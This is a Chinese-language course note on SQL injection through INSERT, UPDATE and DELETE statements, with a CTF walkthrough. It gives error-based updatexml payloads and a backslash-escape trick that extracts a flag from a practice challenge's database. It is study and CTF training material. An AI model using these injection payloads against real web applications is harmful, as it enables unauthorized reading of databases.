本文是对安全牛《CTF从入门到提升》课程课时7的记录

insert,update,delete的注入和select注入类似,就不细讲了,主要讲例题

insert注入

先看看insert基本语法:

1
insert into users(id,username,password) values(1,'user','passwd');

报错注入:

1
insert into users(id,username,password) values (2,'attacker' or updatexml(1,concat(0x7e,database()),0),'passwd');

没有报错注入时也不一定要用延时注入,可以将想要得到的内容写入表中,在其他地方查看(详见网鼎杯第四场comment个人笔记

二次注入:
https://www.jianshu.com/p/3fe7904683ac

update注入

update基本语法:

1
update user set password='password' where id=2;

报错注入:

1
update user set password='password' or updatexml(1,concat(0x7e,database()),0) or '1'

同样可以将想要的内容写入表中,在其他地方查看

delete注入

delete基本语法:

1
delete from user where id = 2;

报错注入:

1
delete from user where id=2 or updatexml(1,concat(0x7e,database()),0);

例题

http://chall.tasteless.eu/level15/index.php
可以看到有一个类似留言版的东西,可以提交name和text留言,然后留言板上会显示name:text,
并且底下有
Hint: table level15_flag column flag
显然可以从level15_flag的flag列获得flag

可以猜测sql语句是这样的

1
insert into shoutbox(name,text) values('user1','hello!');
  1. 首先尝试插入’
    提交name=’&text=xxx
    显示’: adfaf
    ‘应该是被转义了

  2. 尝试使用注释
    提交name=’#&text=xxx
    显示’#: xxx
    注释也没有生效
    想想也正常,如果’被转义的话,#在引号里是会被当成字符的

  3. 使用\转义
    接下来想到用\去转义掉原有的’
    提交name=&text=abc
    这时的sql语句应该是

    1
    insert into shoutbox(name,text) values('\','abc');

    发现显示了上一次提交的内容
    猜测这是sql语句出现了错误,\产生了效果
    这里因为提交的’会被转义掉,所以不能使用’去闭合,但我们可以使用,和()构造这样的sql语句:

    1
    insert into shoutbox(name,text) values('\',',database())#')

    也就是提交name=&text=,database())#
    这时显示’, : tasteless_chall
    注入成功
    提交name=&text=,(select group_concat(flag) from level15_flag))# 拿到flag